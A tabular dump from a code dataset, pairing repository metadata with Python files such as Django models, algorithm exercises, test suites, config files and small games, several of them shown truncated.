blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1b27e6f24cd077a7f67416dc90786e02d2bbef4a | 78337fc3cd0d3be2307f42c4c7ae51bedb1d468b | /opengever/base/subscribers.py | 9c4dbb486292e6ee55509845467899ce58b5da03 | [] | no_license | sensecs1/opengever.core | af19bafce4491f3c648682783fc1c918dc1f5944 | 0666e86fade7835c98a118fa6319071f859fcdb5 | refs/heads/master | 2021-01-18T07:44:56.965935 | 2015-03-13T15:26:30 | 2015-03-13T15:26:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 762 | py | from five import grok
from OFS.interfaces import IObjectClonedEvent
from opengever.base import _
from plone.dexterity.interfaces import IDexterityContent
from zope.component.hooks import getSite
@grok.subscribe(IDexterityContent, IObjectClonedEvent)
def create_initial_version(obj, event):
"""When a object was cop... | [
"lukas.graf@4teamwork.ch"
] | lukas.graf@4teamwork.ch |
99f3a49b00e82b89201fee4a187fdd21f2dc6a13 | 20b6cdf48fab05027fa65cceb7812c0f4cd784f8 | /epidemics/utils/nested.py | 7e9cb281cbbb21fb7f806c49d04994c46f443701 | [] | no_license | cselab/covid19 | f260db9633ae77cd6857616b9a19168d647166fd | a867fed2a3cf7681f38fa9701b85a90400b1ad62 | refs/heads/master | 2023-02-07T14:55:30.703399 | 2020-10-05T09:12:18 | 2020-10-05T09:12:18 | 251,288,782 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,925 | py | import numpy as np
from multiprocessing import Pool
import pickle
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
class WorkerPool(object):
def __init__(self, cores):
self.pool = Pool(processes=cores)
self.size = cores
def map(self, function, tasks):
return self... | [
"wadaniel@ethz.ch"
] | wadaniel@ethz.ch |
ee6666217155863ba3f1a1250154627c6bc7f1d6 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_088/ch119_2020_09_19_21_49_34_845287.py | a275184e3182156e1d1a024a8eccecd18f2097b8 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173 | py | import math
def calcula_euler(x,n):
contador=2
inicio=1+x
while(soma<n):
inicio+=x**contador/math.factorial(contador)
contador+=1
return soma | [
"you@example.com"
] | you@example.com |
073c1c64a092fcea66e7e1774e63ffd5b6ae4e58 | 388d81ea4354877326a772bcaa54d276cee81283 | /Data Structures/1-D/Help Jarvis!.py | bc928fe401aa39cd1cc37d252fc1636df73cb52a | [] | no_license | anshumanairy/Hacker-Earth | 61a67fb5e6ce3ef4068ad904480386bf7095f1f7 | 9c3ed575eb7007b055cb149ff644a91f287d4de7 | refs/heads/master | 2022-11-28T21:48:38.450999 | 2020-08-08T20:45:49 | 2020-08-08T20:45:49 | 285,909,494 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 334 | py | def func():
T=int(input())
for i in range(T):
list1=list(input())
list1.sort()
check=1
for j in range(len(list1)-1):
if(int(list1[j+1])!=int(list1[j])+1):
check=0
print('NO')
break
if(check==1):
print... | [
"anshuman.airy04@gmail.com"
] | anshuman.airy04@gmail.com |
9cdde1ad8c49b5c7e5c0f70037b8e64f9ba08427 | 228de37ad02ee9af51a208ad3287224af1f2c472 | /app/travel/models/city_information.py | 6d19042d174b2b9a6fca2575bc78d656d1a06ecf | [] | no_license | kahee/MySmallTrip | cb0b0a9afdee009f3b4055af92af0bc5ec50f0cd | 75e1bf32993f137e70360f6aa3b22904d61bd24c | refs/heads/master | 2022-12-11T18:57:12.494011 | 2018-09-02T09:12:59 | 2018-09-02T09:12:59 | 130,799,032 | 1 | 0 | null | 2022-12-08T01:01:50 | 2018-04-24T05:08:26 | Python | UTF-8 | Python | false | false | 2,034 | py | import magic
from .product_base import ProductBase
from django.core.files import File
from django.db import models
from io import BytesIO
from PIL import Image
class CityInformation(ProductBase):
name = models.CharField('도시명', max_length=20)
continent = models.CharField('대륙', max_length=20)
nationality ... | [
"hsj2334@gmail.com"
] | hsj2334@gmail.com |
ccd5157c5b4c9a6d812fe92d0c2ef85a5cdc3286 | c78f01652444caa083ca75211bae6903d98363cb | /devel/.private/hector_mapping/lib/python2.7/dist-packages/hector_mapping/msg/_HectorDebugInfo.py | 7a372d58becc1ac75f20e0ad7199a48ec033dc09 | [
"Apache-2.0"
] | permissive | arijitnoobstar/UAVProjectileCatcher | 9179980f8095652811b69b70930f65b17fbb4901 | 3c1bed80df167192cb4b971b58c891187628142e | refs/heads/master | 2023-05-01T11:03:09.595821 | 2021-05-16T15:10:03 | 2021-05-16T15:10:03 | 341,154,017 | 19 | 7 | null | null | null | null | UTF-8 | Python | false | false | 5,561 | py | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from hector_mapping/HectorDebugInfo.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import hector_mapping.msg
class HectorDebugInfo(genpy.Message):
_md5su... | [
"arijit.dg@hotmail.com"
] | arijit.dg@hotmail.com |
e293bee7a84c70a651836bf80d330077ffc03c8c | 65f8211fc33eb5f9ac1ff0d68902226ca9a58692 | /graph_algorithms/prim_list.py | 626165c26ecc2a08d4d6f6a6ddc24a40752d16f2 | [] | no_license | szarbartosz/asd-python | 46869f5699a1ef661e2df02e523af0adcddbbbda | 0130cc3dcbba6ad62e1516c98b5cbab85848d619 | refs/heads/master | 2022-12-13T19:02:53.699381 | 2020-09-11T13:29:31 | 2020-09-11T13:29:31 | 242,975,318 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,680 | py | from queue import PriorityQueue
def prim_list(G, s):
V = len(G)
Q = PriorityQueue()
visited = [False] * V
parent = [None] * V
d = [float('inf')] * V
d[s] = 0
Q.put((d[s], s))
def relax(u, v, w):
if d[v] > w:
d[v] = w
parent[v] = u
Q.put((d[v... | [
"szarbartosz@gmail.com"
] | szarbartosz@gmail.com |
cb6e622957ed4c3fb52b382cdca781a32cd17fb3 | a6991b575847377f28b82cd725c67b324bc53d6c | /coderunner-quala/game.py | 0d4956df8ae63487d32b0d091991cfcd6bb994cf | [] | no_license | zakuro9715/atcoder | 7732712405b284487da87dfb56782d855a6f6af6 | 6c50e66e2de1964bb23d200c2c8d35af84f17b69 | refs/heads/master | 2021-05-16T03:17:57.743717 | 2019-12-06T07:57:59 | 2019-12-06T07:57:59 | 32,463,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 634 | py | import urllib.request
import settings
endpoint = 'https://game.coderunner.jp'
token = settings.token
def submit(text):
return _request('{0}/q?str={1}&token={2}'.format(endpoint, text, token))
def update_profile(text):
return _request('{0}/profile?text={1}&token={2}'.format(endpoint, text, token))
def _reques... | [
"zakuro@yuzakuro.me"
] | zakuro@yuzakuro.me |
0f8cc58656b66668df127c7d77176ab02c8389e5 | 88d555a009f9075e59177fac70036892f397b439 | /basenji/archive/augmentation.py | 50b223c90c872923f1db563e272389153f3313a9 | [
"Apache-2.0"
] | permissive | calico/basenji | f9f406971d355dda81821dcf274696a7d27e332d | 615b9eec8a591783b16d959029ddad08edae853d | refs/heads/master | 2023-09-04T11:14:15.620786 | 2023-07-27T00:05:13 | 2023-07-27T00:05:13 | 96,346,574 | 326 | 143 | Apache-2.0 | 2023-08-16T00:36:32 | 2017-07-05T17:54:18 | Python | UTF-8 | Python | false | false | 5,944 | py | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# https://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the... | [
"drk@calicolabs.com"
] | drk@calicolabs.com |
6863d4fb2fa2c83913a6cfce35a272bbbd68db57 | 255e19ddc1bcde0d3d4fe70e01cec9bb724979c9 | /dockerized-gists/f828b38421dfbee59daf/snippet.py | b7817810ac5fdc2fc629f33ee3356f6c29cd2707 | [
"MIT"
] | permissive | gistable/gistable | 26c1e909928ec463026811f69b61619b62f14721 | 665d39a2bd82543d5196555f0801ef8fd4a3ee48 | refs/heads/master | 2023-02-17T21:33:55.558398 | 2023-02-11T18:20:10 | 2023-02-11T18:20:10 | 119,861,038 | 76 | 19 | null | 2020-07-26T03:14:55 | 2018-02-01T16:19:24 | Python | UTF-8 | Python | false | false | 2,937 | py | """
Physics simulation with PyODE followed by a (basic) rendering with Vapory
See the result here: http://i.imgur.com/TdhxwGz.gifv
Zulko 2014
This script is placed in the Public Domain (Licence Creative Commons 0)
"""
# =============== FIRST PART : SIMULATION WITH PyODE
import ode
lx, ly, lz, density = 1.0, 1.0, ... | [
"gistshub@gmail.com"
] | gistshub@gmail.com |
7fae4a50aac90c167dfa619bd30118ca39f52bff | d30ebe0bc57289f2f566cecab68b1c338f34c4ad | /bigml/tests/test_02_dev_prediction.py | 1e85df76644faa9bbd13f104ae6f50345e37bc5d | [
"Apache-2.0"
] | permissive | alanponce/python | cdfaee04a36dd19ab13cce7e9d8fed557e0d9cc8 | 9423b4c4968b81ee14cef1ab6cd62d23dfa8bd26 | refs/heads/next | 2020-12-28T23:45:26.384281 | 2016-04-29T01:38:58 | 2016-04-29T01:38:58 | 57,441,721 | 1 | 0 | null | 2016-04-30T12:52:05 | 2016-04-30T12:52:03 | Python | UTF-8 | Python | false | false | 3,325 | py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
#
# Copyright 2015-2016 BigML
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | [
"merce@bigml.com"
] | merce@bigml.com |
077c541ab06e9bf347eb23beeab6465e7d5db980 | d83fde3c891f44014f5339572dc72ebf62c38663 | /_bin/google-cloud-sdk/.install/.backup/lib/surface/organizations/set_iam_policy.py | 929a22f897c4a754e6a303c96cd35346964f7d5e | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | gyaresu/dotfiles | 047cc3ca70f4b405ba272856c69ee491a79d2ebe | e5e533b3a081b42e9492b228f308f6833b670cfe | refs/heads/master | 2022-11-24T01:12:49.435037 | 2022-11-01T16:58:13 | 2022-11-01T16:58:13 | 17,139,657 | 1 | 1 | null | 2020-07-25T14:11:43 | 2014-02-24T14:59:59 | Python | UTF-8 | Python | false | false | 2,780 | py | # Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"me@gareth.codes"
] | me@gareth.codes |
7bd188b9a79352c9745f901ed5b9ffc3d20ca7ee | a6fc9cec97fbbd6ecc08715c43e4dd53606e2110 | /_apscheduler/example/config.py | 30569ac472e19331db956c59d43ebbe6fa580d60 | [] | no_license | BennyJane/python-demo | 2848acaaa81d5011d9dfc1585b3d6b685178f88e | 75098ec4f9c8288d637ee1f9585f824fcb5267ee | refs/heads/master | 2023-04-11T12:24:30.245205 | 2021-04-24T23:47:56 | 2021-04-24T23:47:56 | 264,815,200 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 984 | py | # !/usr/bin/env python
# -*-coding:utf-8 -*-
# PROJECT : Python-Exercise
# Time :2020/12/8 23:02
# Warning :The Hard Way Is Easier
from apscheduler.jobstores.redis import RedisJobStore
# from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore
from apscheduler.executors.pool import ThreadPoolExecutor... | [
"3355817143@qq.com"
] | 3355817143@qq.com |
593d13c224a279fdd6e7316dac0be8555af09385 | 491f9c9b618242953329a8e633fd9bf0bb1cb3fe | /learn_pytest/python_examination/sync_lock.py | 5519da2e10fea248403d3b16ef3f4f2f0ac1fac3 | [] | no_license | xshen1122/Scripts | 656d599e47a70a3b3e89e4f95cf97ee391ff9a7e | c1ed60abc7885d4a86ba077efc8bcf0fbdbafd75 | refs/heads/master | 2021-06-28T04:46:31.370809 | 2020-10-21T07:52:15 | 2020-10-21T07:52:15 | 172,480,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,204 | py | # sync_lock.py
#coding=utf-8
import threading
import time
'''
charactors:
1. only 1 global
2. only 1 lock
3. before add, acquire lock,after add, release lock
'''
g_num = 0
# 创建一个互斥锁
# 默认是未上锁的状态
mutex = threading.Lock()
def work1(num):
global g_num
for i in range(num):
mutex.acquire() # 上锁
g_n... | [
"xueqin.shen@outlook.com"
] | xueqin.shen@outlook.com |
3ebef0181194e685a308c0d0dc844268473d9e40 | b3330bd3365767b89afb9c432f4deb722b39ac1c | /python/interviews/airbnb_interview.py | 0606e6cdb6d380deac6a5ec412d64fba6ca83161 | [] | no_license | hguochen/algorithms | 944df332d5b39220bd59cbd62dc74b12e335fb9e | 703e71a5cd9e002d800340df879ed475a404d092 | refs/heads/master | 2022-02-27T12:11:10.607042 | 2022-02-18T21:04:00 | 2022-02-18T21:04:00 | 13,767,503 | 5 | 7 | null | null | null | null | UTF-8 | Python | false | false | 3,109 | py | '''
A host gets a set of back to back reservation requests (inquiries) for stays
of various lengths. The information about these requests is stored in an array,
where each value is an integer representing the length of a stay in nights. All
of these inquiries are back to back, which means that stay number i+1 starts
ri... | [
"hguochen@gmail.com"
] | hguochen@gmail.com |
dee6ff4b161070ca78004c953b96b987c2b5e47f | 786027545626c24486753351d6e19093b261cd7d | /ghidra9.2.1_pyi/ghidra/graph/job/MoveVertexToCenterAnimatorFunctionGraphJob.pyi | 1a8355245b98205e284af676d6f82d0cd3aae7d4 | [
"MIT"
] | permissive | kohnakagawa/ghidra_scripts | 51cede1874ef2b1fed901b802316449b4bf25661 | 5afed1234a7266c0624ec445133280993077c376 | refs/heads/main | 2023-03-25T08:25:16.842142 | 2021-03-18T13:31:40 | 2021-03-18T13:31:40 | 338,577,905 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,133 | pyi | import ghidra.graph.job
import ghidra.util.task
import java.awt.geom
import java.lang
class MoveVertexToCenterAnimatorFunctionGraphJob(ghidra.graph.job.MoveViewAnimatorFunctionGraphJob):
def __init__(self, __a0: edu.uci.ics.jung.visualization.VisualizationServer, __a1: object, __a2: bool): ...
def canS... | [
"tsunekou1019@gmail.com"
] | tsunekou1019@gmail.com |
6a12630e2c604bd3d4846c1c689b8ef29ce522f5 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/semantic_segmentation/MMseg-swin/configs/segformer/segformer_mit-b3_8x1_1024x1024_160k_cityscapes.py | 8eda8e4380774b352568fcd4f9bafd8ea178d8d0 | [
"BSD-3-Clause",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 3,795 | py | # -*- coding: utf-8 -*-
# BSD 3-Clause License
#
# Copyright (c) 2017
# All rights reserved.
# Copyright 2022 Huawei Technologies Co., Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source ... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
0ae6ded01b3c8dfb6041f106bfef7ba3f04ad22b | 23561a4d2a9c169b8c2fdeb330f6ff4e2d2e4581 | /dayu_widgets/examples/MMessageTest.py | fc96b0a5b93cfdc7e6ff28861c8d997c2e72e752 | [
"MIT"
] | permissive | DangoWang/dayu_widgets | 3e04516d15bd73e8544c17deb2ce91f80981bce1 | 980a3d40388e2022cc581dd1b9c6e9ed19788f35 | refs/heads/master | 2020-06-06T05:37:24.986564 | 2019-06-04T12:06:15 | 2019-06-04T12:06:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,892 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###################################################################
# Author: Mu yanru
# Date : 2019.2
# Email : muyanru345@163.com
###################################################################
import functools
from dayu_widgets.MButtonGroup import MPushButtonGroup... | [
"muyanru@phenom-films.com"
] | muyanru@phenom-films.com |
f1259a4f81b2d648cd09e4d43b32528aacea3340 | 491235d50ab27bb871d58a5dfff74d6a4aa9bbe6 | /pong-client/pong.py | 0df4af0d73a6bda898022ba8e51b66bc7b2083b6 | [] | no_license | elgrandt/Pong-Network | 768bb861757d1fb98be3b761a66ad14e632f7932 | 204e1c5d9fbd53eece906d56df394602bdc269b6 | refs/heads/master | 2022-12-06T16:12:01.506699 | 2020-08-18T03:27:47 | 2020-08-18T03:27:47 | 288,315,589 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,305 | py | import pygame
import network
from gui import server_list,events,server_connect_menu,status_cur,loading
import gui
import global_knowns
from twisted.internet import reactor,threads
import sys
import thread
import global_knowns as gk
import elements
class game:
def __init__(self,IOSYS):
self.IOSYS = IOSYS
... | [
"dylantasat11@gmail.com"
] | dylantasat11@gmail.com |
a2c5d72364cb3e960aa0ad31b96f0ece5611e5db | ce76b3ef70b885d7c354b6ddb8447d111548e0f1 | /case/world/different_point/work_or_day.py | ec81da39db35106ef6fe892116e21fe8b9443a91 | [] | no_license | JingkaiTang/github-play | 9bdca4115eee94a7b5e4ae9d3d6052514729ff21 | 51b550425a91a97480714fe9bc63cb5112f6f729 | refs/heads/master | 2021-01-20T20:18:21.249162 | 2016-08-19T07:20:12 | 2016-08-19T07:20:12 | 60,834,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 219 | py |
#! /usr/bin/env python
def little_time(str_arg):
thing(str_arg)
print('be_woman_with_new_company')
def thing(str_arg):
print(str_arg)
if __name__ == '__main__':
little_time('leave_different_person')
| [
"jingkaitang@gmail.com"
] | jingkaitang@gmail.com |
3262ec6b92ac1240518c3b7f9d92a29fc31d4712 | 74434b547122c5f13f748c981851bfbdfdfc3a32 | /orders/migrations/0003_auto_20200509_1214.py | f98f90ce8ca8900504147176259d769937090bb0 | [] | no_license | anthonylauly/My-Shop---Django-2-By-Example | a4a597a6f1d243aebc74e30005034da4b3a0cf4a | 2e47abe19e1fc1f35ad73049f1f077ee805ad945 | refs/heads/main | 2023-01-30T00:20:44.343128 | 2020-12-08T06:05:43 | 2020-12-08T06:05:43 | 313,935,913 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 374 | py | # Generated by Django 2.2.12 on 2020-05-09 12:14
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('orders', '0002_order_braintree_id'),
]
operations = [
migrations.AlterModelOptions(
name='order',
options={'ordering': ('-c... | [
"anthony.lauly1833@gmail.com"
] | anthony.lauly1833@gmail.com |
a4dd4b1312533cde33af7a3832573538a1280377 | ad8bb38dc80e5898d59f140b93e044cca86a8c02 | /greedy-algorithms/assignment_2/tests/test_clustering.py | 8d7d0f0bb07293e8eac1cc5ff3b05fb7986c23ad | [] | no_license | ybim/stanford-algs | 5c4358fd7fa4e23ae6c1660b97d7596c4e6d4400 | 6c4749f2a4c2fc36630f74833acd352ce08b2a43 | refs/heads/master | 2021-03-04T03:45:13.444826 | 2018-03-25T21:07:28 | 2018-03-25T21:07:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 874 | py | import os
import os.path
import logging
from ..clustering import read_file, maximum_spacing
import pytest
test_dir = os.path.join(os.path.dirname(__file__),
'cluster_cases')
def lookup_spacing(f):
f = f.replace('input', 'output')
with open(f, 'r') as handle:
return int(hand... | [
"trendahl@slac.stanford.edu"
] | trendahl@slac.stanford.edu |
c87160c690087c80faa23886e3d2eb5ad52a67c4 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_53/143.py | d02c162e499137e8369e07af73f72116b53679db | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 258 | py | #!/usr/bin/env python
f = open('A-large.in', 'r')
n = int(f.readline())
count = 0
for line in f:
res = 'OFF'
count+=1
(n,k) = line.split()
n = int(n)
k = int(k)
if k>0:
if k%(2**n) == (2**n-1):
res = 'ON'
print 'Case #' + str(count) + ': '+ res
| [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
839b24b461961df7d7a77ebcc140ceeea25f949d | 265c94e9b4fdfd1aefbcef85242db4e1beef45df | /src/ch4/predictData_2015_0.25.py | 8d62a5850ed480818401d16854286573eee494f2 | [] | no_license | Relph1119/machine-learning-blueprints | 283cc1a6ee843ae4c806466af8f9a0df2325ecb6 | c46c5bd93bd781f96d41a80a03a797ca3e673627 | refs/heads/master | 2022-12-09T11:34:34.883337 | 2020-08-26T08:48:24 | 2020-08-26T08:48:24 | 136,500,353 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,171 | py | import getFeature as gft
from sklearn.ensemble import RandomForestClassifier
from sklearn import linear_model
import pandas as pd
import matplotlib.pyplot as plt
X = gft.X
ipos = gft.ipos
X_train, X_test = X[173:], X[:173]
y_train = ipos['$ Chg Open to Close'][173:].map(lambda x: 1 if x>=.25 else 0)
y_test = ipos['$ C... | [
"huruifeng1202@163.com"
] | huruifeng1202@163.com |
0e9b6c56ee63c623900c65faf8d6ad30c2b7eb88 | 7fc3d33c2ba5426ee6d68e80dd6c279320051ac2 | /nvis/base.py | d53390d0995cc0c38c002e377283d6d654f0ce95 | [] | no_license | sinhrks/nvis | e2f4b8382a3fe99f0c69051cfe64ee3d6ae29e51 | 7efb98f812a39572a9d2207ce5689ac0a56ba44f | refs/heads/master | 2021-01-12T13:26:41.363157 | 2016-09-25T22:14:19 | 2016-09-25T22:14:19 | 69,165,187 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,704 | py | #!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals
import collections
import six
import traitlets
from enum import Enum
import nvis.common as com
class _JSObject(traitlets.HasTraits):
"""
Base class for JS instances, which can be converted to
JavaScript instance
"""
... | [
"sinhrks@gmail.com"
] | sinhrks@gmail.com |
90f1ed30332f1619a1573ce61dab44dbb952e827 | 117f066c80f3863ebef74463292bca6444f9758a | /ray/do.py | a0649d1bcc56f44ebc03bdcbe163b03e6ef80cbd | [] | no_license | cottrell/notebooks | c6de3842cbaeb71457d270cbe6fabc8695a6ee1b | 9eaf3d0500067fccb294d064ab78d7aaa03e8b4d | refs/heads/master | 2023-08-09T22:41:01.996938 | 2023-08-04T22:41:51 | 2023-08-04T22:41:51 | 26,830,272 | 3 | 1 | null | 2023-03-04T03:58:03 | 2014-11-18T21:14:23 | Python | UTF-8 | Python | false | false | 322 | py | import numpy as np
import ray
def init():
return ray.init()
def bounce():
ray.disconnect()
# might be incorrect
return ray.init()
def f(x):
return x ** 2
f_remote = ray.remote(f)
def g(x, seed=1):
np.random.seed(seed)
x = np.random.randn(10, 5) + x
return x
g_remote = ray.remote(g... | [
"cottrell@users.noreply.github.com"
] | cottrell@users.noreply.github.com |
f8e52d6fa581c4d3b98559e464663fb186f6b5f8 | c2e50f81a127b83fd181442f4d7a5b4751d767e6 | /tools/coverage/gcda_clean.py | c222c448a3d91facd453d8ebf9d68be989166fed | [
"Apache-2.0"
] | permissive | Thunderbrook/Paddle | 72eda072fae8fd7d555198aadec7ec8899ccb387 | 4870c9bc99c6bd3b814485d7d4f525fe68ccd9a5 | refs/heads/develop | 2022-11-05T09:53:16.633465 | 2020-04-09T09:17:40 | 2020-04-09T09:17:40 | 196,961,339 | 0 | 0 | Apache-2.0 | 2020-12-17T08:57:33 | 2019-07-15T08:51:53 | C++ | UTF-8 | Python | false | false | 1,825 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
""" usage: gcda_clean.py pull_id. """
import os
import sys
from github import Github
def get_pull(pull_id):
"""Get pull.
Args:
pull_id (int): Pull id.
Returns:
github.PullRequest.PullRequest
"""
token = os.getenv('GITHUB_API_TOKEN',... | [
"luotao02@baidu.com"
] | luotao02@baidu.com |
c0a77d989d2367e946c726db66d379941cb95e58 | 191a7f83d964f74a2b3c7faeb4fc47d9c63d521f | /.history/main_20210529115051.py | 1db23d5522089aab30d37049645fc3bb97d85fce | [] | no_license | AndreLiu1225/Kinder-Values-Survey | 2a317feee8d5b17c27da2b2116742656e35d8ab9 | 090c27da0c822abb7dfc0ec6e13ae1b3dcb7bbf3 | refs/heads/master | 2023-05-03T00:26:00.481423 | 2021-06-04T03:24:19 | 2021-06-04T03:24:19 | 371,989,154 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,895 | py | from flask import Flask, render_template, redirect, url_for, flash, request
from flask_sqlalchemy import SQLAlchemy
from flask_wtf import FlaskForm
from wtforms import StringField, TextField, SubmitField, IntegerField, SelectField, RadioField
from wtforms.validators import DataRequired, Email, EqualTo, Length, Validati... | [
"andreliu2004@gmail.com"
] | andreliu2004@gmail.com |
fb7165c445a5220131bc572f6c89d995c80cc8bb | e27eebd9cacba56eb0e161cf9584b856db4543b5 | /code/version-demo/venv/bin/django-admin | f3b2a60f6246b15c8ef89d632a053b19ff026f34 | [] | no_license | Dosimz/django-rest-framework-notes | fd374f9793057f9fbfe85c072912a019ef26b73a | 1d0cf0e9cd9042e432f883cd9c3fa2504e5b9a22 | refs/heads/master | 2020-06-25T15:36:33.700321 | 2019-08-03T04:26:40 | 2019-08-03T04:26:40 | 199,354,041 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 345 | #!/run/media/yuyi/068AE93F8AE92BBD/python/django-rest-framework/code/version-demo/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from django.core.management import execute_from_command_line
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(exec... | [
"Vhzix24@gmail.com"
] | Vhzix24@gmail.com | |
2678e12e0ef37185b07dd5045587321dab24ceab | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_116/1538.py | f953c8478ab10037f18a92cc014c6473535f8868 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,103 | py | #!/usr/bin/env python
row = 4
col = 4
def getState(matrix):
hasEmpty = False
# Check row
for i in range(4):
flag = matrix[i][0]
if (matrix[i][1] == flag or matrix[i][1] == 'T') \
and (matrix[i][2] == flag or matrix[i][2] == 'T') \
and (matrix[i][3] == flag or... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
41187fee24fba11e59e9c8b13bd1af25a462c4bd | 3854700ad938a19efbb934fb0706793d70848ff1 | /docs/python/algorytmy/heron.py | 378735c8ff661796f1d4195070da01ca9670741d | [] | no_license | xinulsw/linetc | 0e0c94f3bd814a9ef8da9f2613785f605c04ed6e | 7311063d640ca1889dca1cd9d6f8b40541c8809a | refs/heads/master | 2022-06-21T05:40:32.139937 | 2022-05-27T15:33:05 | 2022-05-27T15:33:05 | 28,744,486 | 1 | 5 | null | 2016-12-30T14:13:33 | 2015-01-03T13:30:50 | Python | UTF-8 | Python | false | false | 724 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Obliczanie wartości pierwiastka kwadratowego z podanej liczby
# przy użyciu metody Herona: a(n) = (a(n-1) + x / a(n-1)) / 2
# <eCG>
def pierwiastek(x, d):
a = x # inicjalizacja szkuanej wartości
while abs(a - (x / a)) > d:
a = (a + (x / a)) / 2
re... | [
"xinulsw@gmail.com"
] | xinulsw@gmail.com |
